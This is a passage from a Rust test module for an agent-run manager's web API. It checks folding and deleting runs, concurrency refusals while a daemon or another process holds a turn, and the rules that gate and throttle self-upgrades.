22883            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22884             never put in `refs` - every card will throw and the list will \
22885             render empty under a count line that says otherwise. Published: \
22886             {published:?}"
22887        );
22888    }
22889
22890    #[tokio::test]
22891    async fn folding_from_the_phone_reports_what_it_removed() {
22892        let fx = Fixture::start().await;
22893        let runs = fx.runs();
22894
22895        // A run with no candidates has nothing to fold, which is a 200 with an
22896        // honest count rather than an error: the operator asked for the trees
22897        // to be gone and they are.
22898        let id = "20260901-000000-fold";
22899        write_run(&runs, id, RunStatus::Stalled);
22900        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22901        assert_eq!(res.status, 200);
22902        assert_eq!(res.json()["removed_count"], 0);
22903        assert_eq!(res.json()["run"], id);
22904        assert!(
22905            runs.join(id).exists(),
22906            "a fold keeps the run's record; only the worktrees go"
22907        );
22908    }
22909
22910    #[tokio::test]
22911    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22912        let fx = Fixture::start().await;
22913        let runs = fx.runs();
22914        let wt = fx.home.path().join("wt").join("magi").join("dead");
22915        let id = "20260901-000000-dead";
22916        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22917        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22918        std::fs::create_dir_all(&wt).expect("worktree dir");
22919
22920        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22921        assert_eq!(res.status, 200, "{}", res.body);
22922        assert!(
22923            res.json()["removed_count"].as_u64().unwrap() > 0,
22924            "the worktree this build could not read a state for still went"
22925        );
22926        assert!(
22927            !runs.join(id).exists(),
22928            "an unreadable run has no candidate list to fold selectively, so \
22929             the whole record goes - same as `magi fold` on the CLI"
22930        );
22931    }
22932
22933    #[tokio::test]
22934    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22935        let fx = Fixture::start().await;
22936        let runs = fx.runs();
22937        let wt = fx.home.path().join("wt").join("magi").join("gone");
22938        let id = "20260901-000000-gone";
22939        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22940        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22941        std::fs::create_dir_all(&wt).expect("worktree dir");
22942
22943        let res = fx.delete(&format!("/api/runs/{id}")).await;
22944        assert_eq!(res.status, 204, "{}", res.body);
22945        assert!(!runs.join(id).exists(), "the broken record is gone");
22946        assert!(!wt.exists(), "its worktree is gone too");
22947    }
22948
22949    #[tokio::test]
22950    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
22951        let fx = Fixture::start().await;
22952        let runs = fx.runs();
22953        let id = "20260901-000000-live";
22954        write_run(&runs, id, RunStatus::Implementing);
22955
22956        let mut beat = crate::daemon::Status::new();
22957        beat.current = vec![crate::daemon::Current {
22958            worker: None,
22959            task: "20260901-000000-task".to_owned(),
22960            run: id.to_owned(),
22961        }];
22962        beat.updated_at = jiff::Timestamp::now();
22963        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22964            .expect("publish a heartbeat");
22965
22966        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22967        assert_eq!(res.status, 409);
22968        assert!(
22969            res.json()["error"]
22970                .as_str()
22971                .unwrap()
22972                .contains("live daemon"),
22973            "folding under a running agent would pull its worktree away"
22974        );
22975    }
22976
22977    #[tokio::test]
22978    async fn fold_merged_requires_a_pr_url() {
22979        let fx = Fixture::start().await;
22980        let runs = fx.runs();
22981        let id = "20260901-000000-nourl";
22982        write_run(&runs, id, RunStatus::Blocked);
22983
22984        let res = fx
22985            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
22986            .await;
22987        assert_eq!(res.status, 400, "{}", res.body);
22988
22989        let blank = fx
22990            .post(
22991                &format!("/api/runs/{id}/fold-merged"),
22992                Some(r#"{"pr_url":"   "}"#),
22993            )
22994            .await;
22995        assert_eq!(blank.status, 400, "{}", blank.body);
22996    }
22997
22998    #[tokio::test]
22999    async fn fold_merged_is_404_for_an_unknown_run() {
23000        let fx = Fixture::start().await;
23001        let res = fx
23002            .post(
23003                "/api/runs/nosuchrun/fold-merged",
23004                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23005            )
23006            .await;
23007        assert_eq!(res.status, 404, "{}", res.body);
23008    }
23009
23010    #[tokio::test]
23011    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23012        let fx = Fixture::start().await;
23013        let runs = fx.runs();
23014        let id = "20260901-000000-livemerge";
23015        write_run(&runs, id, RunStatus::Blocked);
23016
23017        let mut beat = crate::daemon::Status::new();
23018        beat.current = vec![crate::daemon::Current {
23019            worker: None,
23020            task: "20260901-000000-task".to_owned(),
23021            run: id.to_owned(),
23022        }];
23023        beat.updated_at = jiff::Timestamp::now();
23024        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23025            .expect("publish a heartbeat");
23026
23027        let res = fx
23028            .post(
23029                &format!("/api/runs/{id}/fold-merged"),
23030                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23031            )
23032            .await;
23033        assert_eq!(res.status, 409, "{}", res.body);
23034        assert!(
23035            res.json()["error"]
23036                .as_str()
23037                .unwrap()
23038                .contains("live daemon"),
23039            "correcting a run's merge underneath a running agent would race \
23040             whatever it is doing to the same `status`/`merge` fields"
23041        );
23042    }
23043
23044    /// A pull request `gh` cannot even ask about (no such remote, no such
23045    /// repository) must never be recorded as a merge on a guess - the same
23046    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23047    /// command line, reached here through the phone route instead.
23048    #[tokio::test]
23049    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23050        let fx = Fixture::start().await;
23051        let runs = fx.runs();
23052        let id = "20260901-000000-unconfirmed";
23053        write_run(&runs, id, RunStatus::Blocked);
23054
23055        let res = fx
23056            .post(
23057                &format!("/api/runs/{id}/fold-merged"),
23058                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23059            )
23060            .await;
23061        assert_eq!(res.status, 400, "{}", res.body);
23062        assert_eq!(
23063            read_run(&runs, id).unwrap().status,
23064            RunStatus::Blocked,
23065            "a pull request that could not be confirmed merged must leave \
23066             the run exactly where it was"
23067        );
23068    }
23069
23070    #[tokio::test]
23071    async fn terminal_runs_cannot_be_resumed() {
23072        let fx = Fixture::start().await;
23073        let runs = fx.runs();
23074
23075        for (status, word) in [
23076            (RunStatus::Merged, "merged"),
23077            (RunStatus::Ready, "ready"),
23078            (RunStatus::Failed, "failed"),
23079        ] {
23080            let id = format!("20260901-000000-{}", &word[..4]);
23081            write_run(&runs, &id, status);
23082            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23083            assert_eq!(res.status, 409, "{word} must not be resumable");
23084        }
23085    }
23086
23087    #[tokio::test]
23088    async fn resume_is_refused_while_the_loop_is_running() {
23089        let fx = Fixture::start().await;
23090        let runs = fx.runs();
23091        let stalled = "20260901-000000-stal";
23092        write_run(&runs, stalled, RunStatus::Stalled);
23093
23094        // The loop is busy with a *different* run, and that is still a
23095        // refusal: a manual resume must never race whatever the loop itself
23096        // is already driving, whether that is one run or several.
23097        let mut beat = crate::daemon::Status::new();
23098        beat.current = vec![crate::daemon::Current {
23099            worker: None,
23100            task: "20260901-000000-task".to_owned(),
23101            run: "20260901-000000-othr".to_owned(),
23102        }];
23103        beat.updated_at = jiff::Timestamp::now();
23104        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23105            .expect("publish a heartbeat");
23106
23107        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23108        assert_eq!(res.status, 409);
23109        let err = res.json()["error"].as_str().unwrap().to_owned();
23110        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23111        assert!(err.contains("stop it first"), "{err}");
23112    }
23113
23114    #[test]
23115    fn a_run_cannot_be_resumed_twice_at_once() {
23116        let home = TempDir::new().expect("temp home");
23117        let ui = Ui::new(
23118            Queue::at(home.path().join("queue")),
23119            Questions::at(home.path().join("questions")),
23120            Talks::at(home.path().join("talks")),
23121            home.path().join("runs"),
23122            home.path().to_path_buf(),
23123            PathBuf::from("/repo"),
23124        )
23125        .with_worktrees_root(home.path().join("wt"));
23126        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23127        let again = ui.begin_resume("20260901-000000-once");
23128        assert!(again.is_err(), "a second tap must not start a second graph");
23129        drop(first);
23130        assert!(
23131            ui.begin_resume("20260901-000000-once").is_ok(),
23132            "and the claim is released when the attempt ends"
23133        );
23134    }
23135
23136    #[test]
23137    fn talk_thinking_tracks_only_its_held_turn_claim() {
23138        let home = TempDir::new().expect("temp home");
23139        let ui = Ui::new(
23140            Queue::at(home.path().join("queue")),
23141            Questions::at(home.path().join("questions")),
23142            Talks::at(home.path().join("talks")),
23143            home.path().join("runs"),
23144            home.path().to_path_buf(),
23145            PathBuf::from("/repo"),
23146        )
23147        .with_worktrees_root(home.path().join("wt"));
23148        let id = "20260901-000000-once";
23149
23150        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23151        let turn = ui.begin_talk_turn(id).expect("claim turn");
23152        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23153        assert!(
23154            !ui.is_thinking("20260901-000000-other"),
23155            "one talk's turn does not make another talk busy"
23156        );
23157        drop(turn);
23158        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23159    }
23160
23161    #[test]
23162    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23163        let home = TempDir::new().expect("temp home");
23164        let talks = Talks::at(home.path().join("talks"));
23165        let ui = Ui::new(
23166            Queue::at(home.path().join("queue")),
23167            Questions::at(home.path().join("questions")),
23168            talks.clone(),
23169            home.path().join("runs"),
23170            home.path().to_path_buf(),
23171            PathBuf::from("/repo"),
23172        )
23173        .with_worktrees_root(home.path().join("wt"));
23174        let id = "20260901-000000-cross";
23175
23176        let other = Talks::at(home.path().join("talks"))
23177            .claim_turn(id)
23178            .expect("claim")
23179            .expect("the other process wins");
23180        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23181        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23182        assert!(
23183            matches!(
23184                ui.begin_talk_turn_unless_pending(id).expect("start"),
23185                TalkTurnStart::Foreign
23186            ),
23187            "a foreign holder is refused, not queued behind"
23188        );
23189        assert!(
23190            !ui.talk_turns.lock().unwrap().live.contains(id),
23191            "a refused claim leaves no in-process entry behind"
23192        );
23193        drop(other);
23194        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23195        assert!(talks.turn_held(id), "the web turn holds the lease");
23196        drop(turn);
23197        assert!(
23198            !talks.turn_held(id),
23199            "dropping the guard releases the lease"
23200        );
23201    }
23202
23203    fn consult_question(ui: &Ui) -> Question {
23204        let mut q = Question::new(
23205            "20260901-000000-consult".to_owned(),
23206            "implement".to_owned(),
23207            "impl-A".to_owned(),
23208            "Which backend?".to_owned(),
23209            String::new(),
23210            vec!["SQLite".to_owned(), "Redis".to_owned()],
23211        );
23212        ui.questions.put(&mut q).expect("question");
23213        q
23214    }
23215
23216    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23217        (
23218            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23219            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23220        )
23221    }
23222
23223    #[tokio::test]
23224    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23225        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23226        let q = consult_question(&ui);
23227        let talk = ui.talks.get(&id).expect("talk");
23228        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23229        let before = consult_snapshot(&ui, &q, &id);
23230        let cli_talks = Talks::at(ui.home.join("talks"));
23231        assert_eq!(
23232            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23233                .await
23234                .expect("CLI starter"),
23235            crate::consult::Started::Busy
23236        );
23237        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23238        assert!(ui.is_thinking(&id));
23239        drop(guard);
23240        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23241    }
23242
23243    #[tokio::test]
23244    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23245        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23246        let q = consult_question(&ui);
23247        let talk = ui.talks.get(&id).expect("talk");
23248        let started = tmp.path().join("started");
23249        let release = tmp.path().join("release");
23250        let script = tmp.path().join("consult-agent.sh");
23251        std::fs::write(
23252            &script,
23253            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23254        )
23255        .expect("script");
23256        let mut cfg = stub_config();
23257        cfg.agents[0].id = "mock".to_owned();
23258        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23259        cfg.agents[0].env = std::collections::BTreeMap::from([
23260            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23261            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23262        ]);
23263        let questions = ui.questions.clone();
23264        let cli_talks = Talks::at(ui.home.join("talks"));
23265        let cli_q = q.clone();
23266        let turn = tokio::spawn(async move {
23267            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23268        });
23269        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23270            while !started.exists() {
23271                tokio::time::sleep(Duration::from_millis(10)).await;
23272            }
23273        })
23274        .await;
23275        // Always release and join the agent, even if readiness or the web
23276        // request fails, so a failed assertion cannot leave a turn behind.
23277        let refusal = if ready.is_ok() {
23278            let before = consult_snapshot(&ui, &q, &id);
23279            let result = talk_say(
23280                State(Arc::clone(&ui)),
23281                Path(id.clone()),
23282                Ok(Json(NewTalkTurn {
23283                    reply_to: None,
23284                    text: "another message".to_owned(),
23285                    attachments: Vec::new(),
23286                })),
23287            )
23288            .await;
23289            Some((result, before, consult_snapshot(&ui, &q, &id)))
23290        } else {
23291            None
23292        };
23293        std::fs::write(&release, "").expect("release agent");
23294        let done = turn.await.expect("join CLI turn");
23295        ready.expect("agent started before deadline");
23296        let (result, before, after) = refusal.expect("web request");
23297        let error = result.expect_err("web must refuse the CLI's turn");
23298        assert_eq!(error.status, StatusCode::CONFLICT);
23299        assert!(error.message.contains("a turn is already running"));
23300        assert_eq!(
23301            after, before,
23302            "refusal preserves question, draft and history"
23303        );
23304        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23305        let guard = ui
23306            .begin_talk_turn(&id)
23307            .expect("web claim")
23308            .expect("free again");
23309        drop(guard);
23310    }
23311
23312    #[test]
23313    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23314        let home = TempDir::new().expect("temp home");
23315        let talks = Talks::at(home.path().join("talks"));
23316        let ui = Ui::new(
23317            Queue::at(home.path().join("queue")),
23318            Questions::at(home.path().join("questions")),
23319            talks.clone(),
23320            home.path().join("runs"),
23321            home.path().to_path_buf(),
23322            PathBuf::from("/repo"),
23323        )
23324        .with_worktrees_root(home.path().join("wt"));
23325        let id = "20260901-000000-order";
23326        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23327        // Hold the slot mutex so the drop can finish the lease but not the slot.
23328        let slots = ui.talk_turns.lock().unwrap();
23329        let dropper = std::thread::spawn(move || drop(turn));
23330        let start = std::time::Instant::now();
23331        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23332            std::thread::sleep(Duration::from_millis(5));
23333        }
23334        assert!(!talks.turn_held(id), "the lease is released first");
23335        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23336        drop(slots);
23337        dropper.join().expect("join");
23338        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23339    }
23340
23341    #[tokio::test]
23342    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23343        let fx = Fixture::start().await;
23344        let mut beat = crate::daemon::Status::new();
23345        beat.worker_protocol = None;
23346        beat.pid = 4321;
23347        beat.updated_at = jiff::Timestamp::now();
23348        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23349            .expect("publish a heartbeat");
23350
23351        let res = fx.post("/api/upgrade", None).await;
23352        assert_eq!(res.status, 409);
23353    }
23354
23355    /// [`should_spawn_recheck`] must refuse for the same two reasons
23356    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23357    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23358    /// Purely a predicate over config and the environment - no network, no
23359    /// disk, no runtime - so unlike the fixture-based tests around it this
23360    /// one needs neither.
23361    #[test]
23362    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23363        assert!(!should_spawn_recheck(&crate::config::Update {
23364            mode: UpdateMode::Off,
23365            interval: None,
23366            auto_restart: false,
23367        }));
23368
23369        // SAFETY: single-threaded as far as this variable goes, the same
23370        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23371        unsafe {
23372            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23373        }
23374        let killed = should_spawn_recheck(&crate::config::Update {
23375            mode: UpdateMode::Notify,
23376            interval: None,
23377            auto_restart: false,
23378        });
23379        unsafe {
23380            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23381        }
23382        assert!(
23383            !killed,
23384            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23385             one-time startup check"
23386        );
23387
23388        assert!(should_spawn_recheck(&crate::config::Update {
23389            mode: UpdateMode::Notify,
23390            interval: None,
23391            auto_restart: false,
23392        }));
23393    }
23394
23395    /// [`recheck_poll_period`] must track a configured `[update] interval`
23396    /// shorter than its own default ceiling - a fixed sleep here would leave
23397    /// an operator's short interval waiting on the next wake-up instead of on
23398    /// `should_check`, which is the same bug this whole task exists to fix,
23399    /// just one level down.
23400    #[test]
23401    fn recheck_poll_period_tracks_a_short_configured_interval() {
23402        let short = crate::config::Update {
23403            mode: UpdateMode::Notify,
23404            interval: Some("1m".to_owned()),
23405            auto_restart: false,
23406        };
23407        let period = recheck_poll_period(&short);
23408        assert!(
23409            period <= Duration::from_secs(30),
23410            "a one-minute interval must wake the task far sooner than the \
23411             default ceiling, or the deck would not notice within the \
23412             interval the operator configured: got {period:?}"
23413        );
23414
23415        let default = crate::config::Update {
23416            mode: UpdateMode::Notify,
23417            interval: None,
23418            auto_restart: false,
23419        };
23420        assert_eq!(
23421            recheck_poll_period(&default),
23422            UPDATE_RECHECK_POLL_MAX,
23423            "the default day-long interval should poll at the (capped) \
23424             ceiling rather than needlessly often"
23425        );
23426    }
23427
23428    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23429    /// same throttle `updater::Checker::should_check` already gives the
23430    /// CLI's notify mode. Built over an explicit state file via
23431    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23432    /// write the operator's real `last_update_check.json` - and therefore
23433    /// cannot flake on whatever that file happens to say on the machine
23434    /// running the test.
23435    #[test]
23436    fn recheck_skips_the_network_before_the_interval_elapses() {
23437        let dir = TempDir::new().expect("temp dir");
23438        let path = dir.path().join("state.json");
23439        let state = kaishin::UpdateCheckState {
23440            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23441            last_known_latest: None,
23442            last_known_url: None,
23443        };
23444        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23445
23446        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23447        assert!(
23448            !update_recheck_due(&checker, None),
23449            "a check made moments ago must not be repeated before the \
23450             configured interval elapses"
23451        );
23452    }
23453
23454    /// An upgrade this deck already started must not be raced by a recheck
23455    /// that discovers a newer release mid-install - regardless of what
23456    /// `should_check` says, which is why the state file here is missing
23457    /// entirely: read alone, that alone would answer "never checked, go
23458    /// ahead".
23459    #[test]
23460    fn recheck_defers_to_an_upgrade_already_in_flight() {
23461        let dir = TempDir::new().expect("temp dir");
23462        let path = dir.path().join("state.json");
23463        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23464        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23465
23466        assert!(
23467            !update_recheck_due(&checker, Some(&progress)),
23468            "a recheck must not run while an upgrade this deck started is \
23469             still moving"
23470        );
23471    }
23472
23473    #[tokio::test]
23474    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23475        // The same env var the background check honours (`disabled_by_env`)
23476        // must also stop a button press before it ever calls
23477        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23478        // means "never contact GitHub from this process", and a tap on the
23479        // upgrade button must not override that any more than a broken
23480        // `magi.toml` may. Left unset, this fixture's default config would
23481        // otherwise reach a real, unauthenticated GitHub call.
23482        //
23483        // SAFETY: single-threaded as far as this variable goes - nothing else
23484        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23485        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23486        unsafe {
23487            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23488        }
23489        let fx = Fixture::start().await;
23490        let res = fx.post("/api/upgrade", None).await;
23491        unsafe {
23492            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23493        }
23494        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23495        let body = res.json();
23496        assert!(body["to"].is_null(), "there was no release to move to");
23497        assert!(body["parked"].is_null(), "and nothing was parked");
23498        assert!(
23499            body["detail"]
23500                .as_str()
23501                .unwrap()
23502                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23503            "{body:?}"
23504        );
23505    }
23506
23507    #[test]
23508    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23509        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23510        let mut cfg = Update::default();
23511        assert!(matches!(
23512            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23513            Skip(_)
23514        ));
23515        cfg.auto_restart = true;
23516        assert_eq!(
23517            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23518            Trigger
23519        );
23520        assert_eq!(
23521            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23522            Wait
23523        );
23524        for (disabled, moving, failed) in [
23525            (true, false, None),
23526            (false, true, None),
23527            (false, false, Some("v2")),
23528        ] {
23529            assert!(matches!(
23530                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23531                Skip(_)
23532            ));
23533        }
23534        assert_eq!(
23535            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23536            Trigger
23537        );
23538        cfg.mode = UpdateMode::Off;
23539        assert!(matches!(
23540            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23541            Skip(_)
23542        ));
23543    }
23544
23545    #[test]
23546    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23547        let home = TempDir::new().unwrap();
23548        let ui = idle_ui(&home);
23549        assert!(!ui.auto_upgrade_busy());
23550        let directory = home.path().join("workers/jobs/abcdef");
23551        std::fs::create_dir_all(&directory).unwrap();
23552        let mut job = crate::worker::Job {
23553            id: "abcdef".into(),
23554            sequence: 1,
23555            kind: "scheduler".into(),
23556            key: "scheduler".into(),
23557            payload: serde_json::json!({}),
23558            generation: "test".into(),
23559            version: None,
23560            status: crate::worker::Status::Running,
23561            result: None,
23562            pid: None,
23563            created_at: 0,
23564            finished_at: None,
23565        };
23566        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23567        let write = |job: &crate::worker::Job| {
23568            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23569        };
23570        write(&job);
23571        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23572        for kind in ["task", "chat"] {
23573            job.kind = kind.into();
23574            write(&job);
23575            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23576        }
23577        drop(lease);
23578        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23579        // the descriptor. Check the real decision directly: a raw flock probe
23580        // here could itself be inherited and keep the worker looking busy.
23581        assert!(
23582            !ui.auto_upgrade_busy(),
23583            "completed execution permits updates"
23584        );
23585        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23586        assert!(
23587            ui.auto_upgrade_busy(),
23588            "unreadable worker state defers updates"
23589        );
23590    }
23591
23592    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23593        Box::pin(async { anyhow::bail!("test installer failed") })
23594    }
23595
23596    #[tokio::test]
23597    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23598        let home = TempDir::new().unwrap();
23599        std::fs::write(
23600            home.path().join("magi.toml"),
23601            "[update]\nauto_restart = true\n",
23602        )
23603        .unwrap();
23604        let mut ui = idle_ui(&home);
23605        ui.repo = home.path().to_path_buf();
23606        // Every successful trigger in this test uses this seam, never the installer.
23607        ui.upgrade_runner = fail_test_upgrade;
23608        let ui = Arc::new(ui);
23609        let latest = || {
23610            Some(kaishin::LatestRelease {
23611                tag_name: "v999.0.0".into(),
23612                html_url: String::new(),
23613            })
23614        };
23615        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23616        assert_eq!(
23617            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23618                .await
23619                .status(),
23620            StatusCode::NO_CONTENT
23621        );
23622        assert!(updater::read_progress(home.path()).is_none());
23623        ui.talk_turns.lock().unwrap().live.clear();
23624        let gate = ui.upgrade_gate.lock().await;
23625        assert_eq!(
23626            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23627                .await
23628                .status(),
23629            StatusCode::CONFLICT
23630        );
23631        drop(gate);
23632        assert_eq!(
23633            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23634                .await
23635                .status(),
23636            StatusCode::ACCEPTED
23637        );
23638        let progress = updater::read_progress(home.path()).unwrap();
23639        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23640        assert_eq!(progress.stage, updater::Stage::Downloading);
23641        assert!(progress.parked_run.is_none());
23642        assert!(ui.start_detached_loop().await.is_err());
23643        assert!(ui.start_loop(None).is_err());
23644        assert!(ui.begin_resume("late").is_err());
23645        tokio::time::timeout(Duration::from_secs(2), async {
23646            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23647                tokio::task::yield_now().await;
23648            }
23649        })
23650        .await
23651        .unwrap();
23652        let progress = updater::read_progress(home.path()).unwrap();
23653        assert_eq!(progress.stage, updater::Stage::Failed);
23654        assert_eq!(
23655            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23656                .await
23657                .status(),
23658            StatusCode::NO_CONTENT
23659        );
23660        // The manual shared path records the same progress and runs the same seam.
23661        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23662        assert_eq!(
23663            finish_upgrade_request(&ui, result).status(),
23664            StatusCode::ACCEPTED
23665        );
23666        assert_eq!(
23667            updater::read_progress(home.path()).unwrap().trigger,
23668            updater::UpgradeTrigger::Manual
23669        );
23670        tokio::time::timeout(Duration::from_secs(2), async {
23671            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23672                tokio::task::yield_now().await;
23673            }
23674        })
23675        .await
23676        .unwrap();
23677    }
23678
23679    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23680        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23681        p.stage = stage;
23682        p
23683    }
23684
23685    #[test]
23686    fn busy_stages_match_the_ui_set() {
23687        use crate::updater::Stage;
23688        assert!(APP_JS.contains(
23689            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23690        ));
23691        for s in [
23692            Stage::Downloading,
23693            Stage::Replaced,
23694            Stage::Parking,
23695            Stage::Restarting,
23696        ] {
23697            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23698        }
23699        for s in [Stage::Done, Stage::Failed] {
23700            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23701        }
23702        assert!(upgrade_in_motion(None).is_none());
23703    }
23704
23705    #[tokio::test]
23706    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23707        use crate::updater::Stage;
23708        for stage in [
23709            Stage::Downloading,
23710            Stage::Replaced,
23711            Stage::Parking,
23712            Stage::Restarting,
23713        ] {
23714            let fx = Fixture::start().await;
23715            let seeded = seeded_progress(stage);
23716            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23717            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23718                .expect("read");
23719
23720            let res = fx.post("/api/upgrade", None).await;
23721            assert_eq!(res.status, 409, "{stage:?}");
23722            let err = res.json()["error"].as_str().unwrap().to_owned();
23723            assert!(err.contains("already in progress"), "{err}");
23724            assert!(err.contains(stage.as_str()), "{err}");
23725
23726            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23727                .expect("read");
23728            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23729            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23730                .unwrap_or_default();
23731            assert!(!log.contains("signalling HANDOVER"), "{log}");
23732        }
23733    }
23734
23735    #[test]
23736    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23737        assert_eq!(
23738            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23739            Some(3723)
23740        );
23741        assert_eq!(
23742            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23743            Some(60)
23744        );
23745        assert_eq!(
